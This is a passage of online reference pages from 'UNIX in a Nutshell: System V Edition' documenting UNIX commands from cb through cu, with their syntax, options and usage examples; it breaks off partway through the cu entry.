UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: cat Chapter 2
UNIX Commands 		Next: Reference: cc

cb

cb [options] [files]

C program "beautifier" that formats files using proper C programming structure.

Options

-j

Join split lines.

-l length

Split lines longer than length.

-s

Standardize code to style of Kernighan and Ritchie in The C Programming Language.

-V

Print the version of cb on standard error.

Example

cb -l 70 calc.c > calc_new.c

Previous: Reference: cat | UNIX in a Nutshell: System V Edition | Next: Reference: cc
Reference: cat | Book Index | Reference: cc
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: cc

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: cb Chapter 2
UNIX Commands 		Next: Reference: cd

cc

cc [options] files

Compile one or more C source files (file.c), assembler source files (file.s), or preprocessed C source files (file.i). cc automatically invokes the link editor ld (unless -c is supplied). In some cases, cc generates an object file having a .o suffix and a corresponding root name. By default, output is placed in a.out. cc accepts additional system-specific options. Note: This command runs the ANSI C compiler; use /usr/bin/cc if you want to run the compiler for Kernighan and Ritchie's C.

Options

-#

Show when each compiler tool is invoked. Solaris 2.0 only.

-A name[(tokens)]

Supply an #assert directive, assigning name with optional tokens as parameters.

-A -

Ignore predefined assertions and macros.

-B mode

Use with one or more -l options to tell ld what type of library files to search. When mode is dynamic, libraries are shared, meaning that library files ending in both .so and .a are searched. When mode is static, only .a files are searched. To restore the previous search mode for additional -l options, supply -B again and change its mode.

-C

Do not strip comments during preprocessing.

-c

Suppress link editing and keep any object files that were produced.

-D name[=def]

Supply a #define directive, defining name to be def or, if no def is given, the value 1.

-dc

Tell ld to link dynamically when c is y (the default) or to link statically when c is n.

-dalign

Produce double load/store instructions to improve performance. Solaris 2.0 only.

-E

Run only the macro preprocessor, sending results to standard output.

-fast

Use cc options that give fastest compilation. Solaris 2.0 only.

-flags

Briefly describe available options. Solaris 2.0 only.

-fnonstd

Produce SIGFPE signals for floating-point overflows and division by zero. Solaris 2.0 only.

-fsingle

Evaluate float expressions as single-precision. Solaris 2.0 only.

-G

Produce a shared object instead of a dynamically linked executable.

-g

Generate more symbol-table information needed for debuggers dbx (Solaris) or sdb (SVR4).

-H

List (on standard error) the pathnames of header files used in C files.

-I dir

Search for include files in directory dir (in addition to standard locations). Supply a -I for each new dir to be searched.

-K word

If word is PIC, produce position-independent code; if word is minabi, compile with the minimum dynamic linking that preserves ABI conformance.

-keeptmp

Don't delete temporary files. Solaris 2.0 only.

-L dir

Like -I, but search dir for library archives.

-l name

Link source file with library files lib name.so or lib name.a.

-O

Optimize object code (produced by .c or .i files).

-o file

Send object output to file instead of to a.out.

-P

Run only the preprocessor and place the result in file.i.

-p

Generate benchmark code to count the times each routine is called. File mon.out is created, so prof can later be used to produce an execution profile.

-Qc

List in the output (c = y) or do not list (c = n) information about the compilation tools invoked. Default is to list.

-ql

Invoke the basic block analyzer and produce code to count the times each source line is executed. Use lprof to list the counts.

-qp

Same as -p.

-S

Compile (and optimize, if -O is supplied), but don't assemble or link; assembler output is placed in file.s.

-U name

Remove definition of name, as if through an #undef directive.

-V

Print version information for compiler tools.

-v

Check semantics strictly, and allow some lint constructs to work.

-W[p02abl],arg1[,arg2...]

Each comma-separated argument is a command-line token (option, parameter) from cc. -W hands off these arguments to allow separate processing by a particular compiler tool. p or 0 specifies the compiler; 2, optimizer; b, basic block analyzer; a, assembler; l, link editor.

-Xc

Set c as the level of ANSI C compliance:

t

Transition (default). Source code must comply with pre-ANSI features.

a

ANSI. Code must comply with ANSI features, but doesn't warn about new escape sequences or trigraphs.

c

Conformance. More rigorous than a.

s

Code is allowed to be old Sun C. Solaris 2.0 only.

-xpg

Like -p, but produce file gmon.out; use gprof to produce an execution profile. Solaris 2.0 only.

-xsb

Produce symbol-table data for Source Code Browser. Solaris 2.0 only.

-xsbfast

Same as -xsb, but don't actually compile. Solaris 2.0 only.

-xstrconst

Add string literals to text segment, not data segment. Solaris 2.0 only.

-Yc,dir

Specify that item c is searched in directory dir. c can be p, 0, 2, a, b, or l, as explained under -W. c can also be:

I

Include files to search last for (see -I).

P

Libraries; dir is a list of directories, separated by a colon (see -L).

S

Startup object files.

Example

Compile xpop.c and link it to the X libraries:

cc -o xpop xpop.c -lXaw -lXmu -lXt -lX11

Previous: Reference: cb | UNIX in a Nutshell: System V Edition | Next: Reference: cd
Reference: cb | Book Index | Reference: cd
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: cd

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: cc Chapter 2
UNIX Commands 		Next: Reference: cdc

cd

cd [dir]

Change directory. cd is actually a built-in shell command. See Section 4 or 5.

Previous: Reference: cc | UNIX in a Nutshell: System V Edition | Next: Reference: cdc
Reference: cc | Book Index | Reference: cdc
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: cdc

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: cd Chapter 2
UNIX Commands 		Next: Reference: cflow

cdc

cdc -rsid [option] files

An SCCS command. See Section 17.

Previous: Reference: cd | UNIX in a Nutshell: System V Edition | Next: Reference: cflow
Reference: cd | Book Index | Reference: cflow
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: cflow

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: cdc Chapter 2
UNIX Commands 		Next: Reference: chgrp

cflow

cflow [options] files

Produce an outline (or flowchart) of external function calls for the C, lex, yacc, assembler, or object files. cflow also accepts the cc options -D, -I, and -U.

Options

-dn

Stop outlining when nesting level n is reached.

-i_

Include functions whose names begin with _.

-ix

Include external and static data symbols.

-r

Invert the listing; show the callers of each function and sort in lexographical order by callee.

Previous: Reference: cdc | UNIX in a Nutshell: System V Edition | Next: Reference: chgrp
Reference: cdc | Book Index | Reference: chgrp
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: chgrp

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: cflow Chapter 2
UNIX Commands 		Next: Reference: chkey

chgrp

chgrp [options] newgroup files

Change the ownership of one or more files to newgroup. newgroup is either a group ID number or a group name located in /etc/group. You must own the file or be a privileged user to succeed with this command.

Options

-h

Change the group on symbolic links. Normally, chgrp acts on the file referenced by a symbolic link, not on the link itself.

-R

Recursively descend through the directory, including subdirectories and symbolic links, setting the specified group ID as it proceeds.

Previous: Reference: cflow | UNIX in a Nutshell: System V Edition | Next: Reference: chkey
Reference: cflow | Book Index | Reference: chkey
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: chkey

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: chgrp Chapter 2
UNIX Commands 		Next: Reference: chmod

chkey

chkey

Prompt for login password and use it to encrypt a new key. See also keylogin and keylogout.

Previous: Reference: chgrp | UNIX in a Nutshell: System V Edition | Next: Reference: chmod
Reference: chgrp | Book Index | Reference: chmod
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: chmod

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: chkey Chapter 2
UNIX Commands 		Next: Reference: chown

chmod

chmod [option] mode files

Change the access mode of one or more files. Only the owner of a file or a privileged user may change its mode. Create mode by concatenating the characters from who, opcode, and permission. who is optional (if omitted, default is a); choose only one opcode.

OptionXF

-R

Recursively descend directory arguments while setting modes.

-f

suppress error message upon failure to change a file's mode.

Who

u

User

g

Group

o

Other

a

All (default)

Opcode

+

Add permission

-

Remove permission

=

Assign permission (and remove permission of the unspecified fields)

Permission

r

Read

w

Write

x

Execute

s

Set user (or group) ID

t

Sticky bit; save text (file) mode or prevent removal of files by nonowners (directory)

u

User's present permission

g

Group's present permission

o

Other's present permission

l

Mandatory locking

Alternatively, specify permissions by a 3-digit sequence. The first digit designates owner permission; the second, group permission; and the third, others permission. Permissions are calculated by adding the following octal values:

4

Read

2

Write

1

Execute

Note: A fourth digit may precede this sequence. This digit assigns the following modes:

4

Set user ID on execution

2

Set group ID on execution or set mandatory locking

1

Set sticky bit

Examples

Add execute-by-user permission to file:

chmod u+x file

Either of the following will assign read-write-execute permission by owner (7), read-execute permission by group (5), and execute-only permission by others (1) to file:

chmod 751 file
chmod u=rwx,g=rx,o=x file

Any one of the following will assign read-only permission to file for everyone:

chmod =r file
chmod 444 file
chmod a-wx,a+r file

Set the user ID, assign read-write-execute permission by owner, and assign read-execute permission by group and others:

chmod 4755 file

Previous: Reference: chkey | UNIX in a Nutshell: System V Edition | Next: Reference: chown
Reference: chkey | Book Index | Reference: chown
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: chown

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: chmod Chapter 2
UNIX Commands 		Next: Reference: clear

chown

chown [options] newowner files

Change the ownership of one or more files to newowner. (Note: The BSD version lets you change the group as well.) newowner is either a user ID number or a login name located in /etc/passwd.

Options

-h

Change the owner on symbolic links. Normally, chown acts on the file referenced by a symbolic link, not on the link itself.

-R

Recursively descend through the directory, including subdirectories and symbolic links, resetting the ownership ID.

Previous: Reference: chmod | UNIX in a Nutshell: System V Edition | Next: Reference: clear
Reference: chmod | Book Index | Reference: clear
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: clear

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: chown Chapter 2
UNIX Commands 		Next: Reference: cmp

clear

clear

Clear the terminal display.

Previous: Reference: chown | UNIX in a Nutshell: System V Edition | Next: Reference: cmp
Reference: chown | Book Index | Reference: cmp
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: cmp

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: clear Chapter 2
UNIX Commands 		Next: Reference: cof2elf

cmp

cmp [options] file1 file2

Compare file1 with file2. Use standard input if file1 is -. See also comm and diff. The exit codes are as follows:

0 Files are identical. 1 Files are different. 2 Files are inaccessible.

Options

-l

For each difference, print the byte number in decimal and the differing bytes in octal.

-s

Work silently; print nothing, but return exit codes.

Example

Print a message if two files are the same (exit code is 0):

cmp -s old new && echo 'no changes'

Previous: Reference: clear | UNIX in a Nutshell: System V Edition | Next: Reference: cof2elf
Reference: clear | Book Index | Reference: cof2elf
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: cof2elf

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: cmp Chapter 2
UNIX Commands 		Next: Reference: col

cof2elf

cof2elf [options] files

Convert one or more COFF files to ELF format, overwriting the original contents. Input can be object files or archives.

Options

-i

Ignore unrecognized data; do the conversion anyway.

-q

Quiet mode; suppress messages while running.

-Qc

Print information about cof2elf in output (if c = y) or suppress information (if c = n, the default).

-sdir

Save the original files to an existing directory dir.

-V

Print the version of cof2elf on standard error.

Previous: Reference: cmp | UNIX in a Nutshell: System V Edition | Next: Reference: col
Reference: cmp | Book Index | Reference: col
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: col

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: cof2elf Chapter 2
UNIX Commands 		Next: Reference: comb

col

col [options]

A postprocessing filter that handles reverse linefeeds and escape characters, allowing output from tbl (or nroff, occasionally) to appear in reasonable form on a terminal.

Options

-b

Ignore backspace characters; helpful when printing man pages.

-f

Process half-line vertical motions, but not reverse line motion. (Normally, half-line input motion is displayed on the next full line.)

-p

Print unknown escape sequences (normally ignored) as regular characters. This option can garble output, so its use is not recommended.

-x

Normally, col saves printing time by converting sequences of spaces to tabs. Use -x to suppress this conversion.

-h

Save printing time by converting sequences of spaces to tabs.

Examples

Run file through tbl and nroff, then capture output on screen by filtering through col and more:

tbl file | nroff | col | more

Save man page output in file.print, stripping out backspaces (which would otherwise appear as ^H):

man file | col -b > file.print

Previous: Reference: cof2elf | UNIX in a Nutshell: System V Edition | Next: Reference: comb
Reference: cof2elf | Book Index | Reference: comb
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: comb

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: col Chapter 2
UNIX Commands 		Next: Reference: comm

comb

comb [options] files

An SCCS command. See Section 17.

Previous: Reference: col | UNIX in a Nutshell: System V Edition | Next: Reference: comm
Reference: col | Book Index | Reference: comm
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: comm

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: comb Chapter 2
UNIX Commands 		Next: Reference: compress

comm

comm [options] file1 file2

Compare lines common to the sorted files file1 and file2. Three-column output is produced: lines unique to file1, lines unique to file2, and lines common to both files. comm is similar to diff in that both commands compare two files. But comm can also be used like uniq; that is, comm selects duplicate or unique lines between two sorted files, whereas uniq selects duplicate or unique lines within the same sorted file.

Options

-

Read the standard input.

-1

Suppress printing of column 1.

-2

Suppress printing of column 2.

-3

Suppress printing of column 3.

-12

Print only lines in column 3 (lines common to file1 and file2).

-13

Print only lines in column 2 (lines unique to file2).

-23

Print only lines in column 1 (lines unique to file1).

Example

Compare two lists of top-ten movies, and display items that appear in both lists:

comm -12 siskel_top10 ebert_top10

Previous: Reference: comb | UNIX in a Nutshell: System V Edition | Next: Reference: compress
Reference: comb | Book Index | Reference: compress
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: compress

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: comm Chapter 2
UNIX Commands 		Next: Reference: cp

compress

compress [options] [files]

Reduce the size of one or more files using adaptive Lempel-Ziv coding, and move to file.Z. Restore with uncompress or zcat.

Options

-bn

Limit the number of bits in coding to n; n is 9-16, and 16 is the default. A lower n produces a larger, less densely compressed file.

-c

Write to the standard output (do not change files).

-f

Compress unconditionally; i.e., do not prompt before overwriting files.

-v

Print the resulting percentage of reduction for files.

Previous: Reference: comm | UNIX in a Nutshell: System V Edition | Next: Reference: cp
Reference: comm | Book Index | Reference: cp
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: cp

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: compress Chapter 2
UNIX Commands 		Next: Reference: cpio

cp

cp [options] file1 file2
cp [options] files directory

Copy file1 to file2, or copy one or more files to the same names under directory. If the destination is an existing file, the file is overwritten; if the destination is an existing directory, the file is copied into the directory (the directory is not overwritten). If one of the inputs is a directory, use the -r option.

Options

-i

Prompt for confirmation (y for yes) before overwriting an existing file.

-p

Preserve the modification time and permission modes for the copied file. (Normally cp supplies the permissions of the invoking user.)

-r

Recursively copy a directory, its files, and its subdirectories to a destination directory, duplicating the tree structure. (This option is used with the second command-line format when at least one of the source file arguments is a directory.)

Example

Copy two files to their parent directory (keep the same names):

cp outline memo ..

Previous: Reference: compress | UNIX in a Nutshell: System V Edition | Next: Reference: cpio
Reference: compress | Book Index | Reference: cpio
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: cpio

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: cp Chapter 2
UNIX Commands 		Next: Reference: crontab

cpio

cpio flags [options]

Copy file archives in from or out to tape or disk, or to another location on the local machine. Each of the three flags -i, -o, or -p accepts different options.

cpio -i [options] [patterns]

Copy in (extract) files whose names match selected patterns. Each pattern can include filename metacharacters from the Bourne shell. (Patterns should be quoted or escaped so they are interpreted by cpio, not by the shell.) If no pattern is used, all files are copied in. During extraction, existing files are not overwritten by older versions in the archive (unless -u is specified).

cpio -o [options]

Copy out a list of files whose names are given on the standard input.

cpio -p [options] directory

Copy files to another directory on the same system. Destination pathnames are interpreted relative to the named directory.

Comparison of valid options

Options available to the -i, -o, and -p flags are shown respectively in the first, second, and third row below. (The - is omitted for clarity.)

i: 6   b B c C d E f H I k   m M  r R s S t u v V
o: a A   B c C       H     L   M O            v V
p: a           d         l L m      R       u v V

Options

-a

Reset access times of input files.

-A

Append files to an archive (must use with -O).

-b

Swap bytes and half-words. Words are 4 bytes.

-B

Block input or output using 5120 bytes per record (default is 512 bytes per record).

-c

Read or write header information as ASCII characters; useful when source and destination machines are of differing types.

-C n

Like B, but block size can be any positive integer n.

-d

Create directories as needed.

-E file

Extract filenames listed in file from the archives.

-f

Reverse the sense of copying; copy all files except those that match patterns.

-H format

Read or write header information according to format. Values for format are crc (ASCII header containing expanded device numbers), odc (ASCII header containing small device numbers), ustar (IEEE/P1003 Data Interchange Standard header), or tar (tar header).

-I file

Read file as an input archive.

-k

Skip corrupted file headers and I/O errors.

-l

Link files instead of copying.

-L

Follow symbolic links.

-m

Retain previous file modification time.

-M msg

Print msg when switching media. Use variable %d in the message as a numeric ID for the next medium. -M is valid only with -I or -O.

-O file

Direct the output to file.

-r

Rename files interactively.

-R ID

Reassign file ownership and group information to the user's login ID (privileged users only).

-s

Swap bytes.

-S

Swap half-words.

-t

Print a table of contents of the input (create no files). When used with the -v option, resembles output of ls -l.

-u

Unconditional copy; old files can overwrite new ones.

-v

Print a list of filenames.

-V

Print a dot for each file read or written (this shows cpio at work without cluttering the screen).

-6

Process a UNIX 6th Edition archive format file.

Examples

Generate a list of old files using find; use list as input to cpio:

find . -name "*.old" -print | cpio -ocBv\
    > /dev/rst8

Restore from a tape drive all files whose name contains "save" (subdirectories are created if needed):

cpio -icdv "save" < /dev/rst8

To move a directory tree:

find . -depth -print | cpio -padm /mydir

Previous: Reference: cp | UNIX in a Nutshell: System V Edition | Next: Reference: crontab
Reference: cp | Book Index | Reference: crontab
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: crontab

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: cpio Chapter 2
UNIX Commands 		Next: Reference: crypt

crontab

crontab [file]
crontab flags [user]

Run crontab on your current crontab file, or specify a crontab file to add to the crontab directory. A privileged user can run crontab for another user by supplying a user after any of the flags. A crontab file is a list of commands, one per line, that will execute automatically at a given time. Numbers are supplied before each command to specify the execution time. The numbers appear in five fields, as follows:

Minute	0-59
Hour	0-23
Day of month	1-31
Month	1-12
Day of week	0-6, with 0 = Sunday

Use a comma between multiple values, a hyphen to indicate a range, and an asterisk to indicate all possible values. For example, assuming the crontab entries below:

59 3 * * 5	find / -print | backup_program
0 0 1,15 * *	echo "Timesheets due" | mail user

The first command backs up the system files every Friday at 3:59 a.m., and the second command mails a reminder on the 1st and 15th of each month.

Flags

-e

Edit the user's current crontab file (or create one).

-l

List the user's file in the crontab directory.

-r

Delete the user's file in the crontab directory.

Previous: Reference: cpio | UNIX in a Nutshell: System V Edition | Next: Reference: crypt
Reference: cpio | Book Index | Reference: crypt
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: crypt

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: crontab Chapter 2
UNIX Commands 		Next: Reference: cscope

crypt

crypt [password] < file > encryptedfile

Encrypt a file to prevent unauthorized access. password is either a string of characters you choose or the flag -k, which assigns the value of environment variable CRYPTKEY as the password. The same password is used to encrypt a file or to decrypt an encrypted file. If no password is given, crypt prompts for one. crypt is available only in the United States (due to export restrictions).

Previous: Reference: crontab | UNIX in a Nutshell: System V Edition | Next: Reference: cscope
Reference: crontab | Book Index | Reference: cscope
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: cscope

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: crypt Chapter 2
UNIX Commands 		Next: Reference: csh

cscope

cscope [options] files

Interactive utility for finding code fragments in one or more C, lex, or yacc source files. cscope builds a symbol cross-reference (named cscope.out by default) and then calls up a menu. The menu prompts the user to search for functions, macros, variables, preprocessor directives, etc. Type ? to list interactive commands. Subsequent calls to cscope rebuild the cross-reference if needed (i.e., if filenames or file contents have changed). Source filenames can be stored in a file cscope.files. This file can then be specified instead of files. Options -I, -p, and -T are also recognized when placed in cscope.files.

Options

-b

Build the symbol cross-reference only.

-C

Ignore uppercase/lowercase differences in searches.

-c

Create output in ASCII (don't compress data).

-d

Don't update the cross-reference.

-e

Don't show the CTRL-E prompt between files.

-f out

Name the cross-reference file out instead of cscope.out.

-I dir

Search for include files in dir before searching the default (/usr/include). cscope searches the current directory, then dir, then the default.

-i in

Check source files whose names are listed in in rather than in cscope.files.

-L

Use with -n pat to do a single search.

-l

Run in line mode; useful from within a screen editor.

-P path

Use with -d to prepend path to filenames in existing cross-reference. This lets you run cscope without changing to directory where cross-reference was built.

-p n

Show the last n parts of the filename path. Default is 1 (filename); use 0 to suppress the filename.

-s dir

Look for source files in directory dir instead of in current directory.

-T

Match only the first eight characters of C symbols.

-U

Ignore file timestamps (assume no files changed).

-u

Build cross-reference unconditionally (assume all files changed).

-V

Print the cscope version on first line of screen.

-n pat

Go to field n of input (starting at 0), then find pat.

Previous: Reference: crypt | UNIX in a Nutshell: System V Edition | Next: Reference: csh
Reference: crypt | Book Index | Reference: csh
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: csh

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: cscope Chapter 2
UNIX Commands 		Next: Reference: csplit

csh

csh [options] [arguments]

Command interpreter that uses syntax resembling C. csh (the C shell) executes commands from a terminal or a file. See Section 5 for information on the C shell, including command-line options.

Previous: Reference: cscope | UNIX in a Nutshell: System V Edition | Next: Reference: csplit
Reference: cscope | Book Index | Reference: csplit
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: csplit

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: csh Chapter 2
UNIX Commands 		Next: Reference: ctags

csplit

csplit [options] file arguments

Separate file into sections and place sections in files named xx00 through xx n (n < 100), breaking file at each pattern specified in arguments. See also split.

Options

-f file

Name new files file 00 through filen (default is xx00 through xx n).

-k

Keep newly created files, even when an error occurs (which would normally remove these files). This is useful when you need to specify an arbitrarily large repeat argument, {n}, and you don't want the "out of range" error to remove the new files.

-s

Suppress all character counts.

Arguments

Any one or a combination of the following expressions. Arguments containing blanks or other special characters should be surrounded by single quotes.

/expr/

Create file from the current line up to the line containing the regular expression expr. This argument takes an optional suffix of the form +n or -n, where n is the number of lines below or above expr.

%expr%

Same as /expr/ except no file is created for lines previous to line containing expr.

num

Create file from current line up to line number num.

{n}

Repeat argument n times. May follow any of the above arguments. Files will split at instances of expr or in blocks of num lines.

Examples

Create up to 20 chapter files from the file novel:

csplit -k -f chap. novel '%CHAPTER%' '{20}'

Create up to 100 address files (xx00 through xx99), each four lines long, from a database named address_list:

csplit -k address_list 4 {99}

Previous: Reference: csh | UNIX in a Nutshell: System V Edition | Next: Reference: ctags
Reference: csh | Book Index | Reference: ctags
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: ctags

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: csplit Chapter 2
UNIX Commands 		Next: Reference: ctrace

ctags

ctags [options] files

Create a list of function and macro names that are defined in the specified C, Pascal, FORTRAN, yacc, or lex source files. The output list (named tags by default) contains lines of the form: name file context where name is the function or macro name, file is the source file in which name is defined, and context is a search pattern that shows the line of code containing name. After the list of tags is created, you can invoke vi on any file and type:

:set tags=tagsfile
:tag name

This switches the vi editor to the source file associated with the name listed in tagsfile (which you specify with -f).

Options

-a

Append tag output to existing list of tags.

-B

context uses backward search patterns.

-F

context uses forward search patterns (default).

-ftagsfile

Place output in tagsfile (default is tags).

-t

Include typedefs as tags.

-u

Update tags file to reflect new locations of functions (e.g., when functions are moved to a different source file). Old tags are deleted; new tags are appended.

-v

Produce a listing (index) of each function, source file, and page number (1 page = 64 lines). -v is intended to create a file for use with vgrind, which is available in the BSD compatibility package.

-w

Suppress warning messages.

-x

Produce a listing of each function, its line number, source file, and context.

Examples

Store tags in Taglist for all C programs:

ctags -f Taglist *.c

Update tags and store in Newlist:

ctags -u -f Newlist *.c

Previous: Reference: csplit | UNIX in a Nutshell: System V Edition | Next: Reference: ctrace
Reference: csplit | Book Index | Reference: ctrace
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: ctrace

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: ctags Chapter 2
UNIX Commands 		Next: Reference: cu

ctrace

ctrace [options] [file]

Debug a C program. ctrace reads the C source file and writes a modified version to standard output. Common options are -f and -v. ctrace also accepts the cc options -D, -I, and -U.

Options

-b

Trace only the basic C functions (SVR3 only).

-e

Print variables as floating point.

-f functions

Trace only the specified functions.

-l n

Follow a statement loop n times (default is 20).

-o

Print variables in octal.

-p 's'

Print trace output via function s (default is printf ).

-P

Run the C preprocessor before tracing.

-Qc

Print information about ctrace in output (if c = y) or suppress information (if c = n, the default).

-rfile

Change the trace function package to file (default is runtime.c).

-s

Suppress certain redundant code.

-tn

Trace n variables per statement (default is 10; maximum is 20).

-u

Print variables as unsigned.

-v functions

Do not trace the specified functions.

-V

Print version information on standard error.

-x

Print variables as floating point.

Previous: Reference: ctags | UNIX in a Nutshell: System V Edition | Next: Reference: cu
Reference: ctags | Book Index | Reference: cu
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: cu

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: ctrace Chapter 2
UNIX Commands 		Next: Reference: cut

cu

cu [options] [destination]

Call up another UNIX system or a terminal via a direct line or a modem. A non-UNIX system can also be called.

Options

-bn

Process lines using n-bit characters (7 or 8).

-cname

Search UUCP's Devices file and select the local area network that matches name (this assumes connection to a system).

-d

Print diagnostics.

-e

Send even-parity data to remote system.

-h

Emulate local echo and support calls to other systems expecting terminals to use half duplex mode.

-lline

Communicate on line device (e.g., /dev/tty001).

-n

Prompt user for a telephone number.

-o

Use odd parity (opposite of -e).

-sn

Set transmission rate to n (e.g., 1200, 2400, 9600 bps). Default is Any.

-t

Dial an ASCII terminal that has auto answer set.

Destination

telno

The telephone number of the modem to connect to.

system

Call the system known to uucp (run uuname to list valid system names).

addr

An address specific to your local area network.

cu runs as two processes: transmit and receive. Transmit reads from standard input and passes lines to the remote system; receive reads data from the remote system and passes lines to standard output. Lines that begin with a tilde (~) are treated as commands and are not passed.

Transmit options

~.

Terminate the conversation.

~!

Escape to an interactive shell on the local system.

~!cmd...

Run command on local system (via sh -c).

~$cmd...

Run command locally; send output to remote system.

~%cd

Change directory on the local system.

~%take file [target]

Copy file from remote system to target on the local system. If target is omitted, file is used in both places.

~%put file [target]

Copy file from the local system to target on the remote system. If target is omitted, file is used in both places.

~ ~ ...

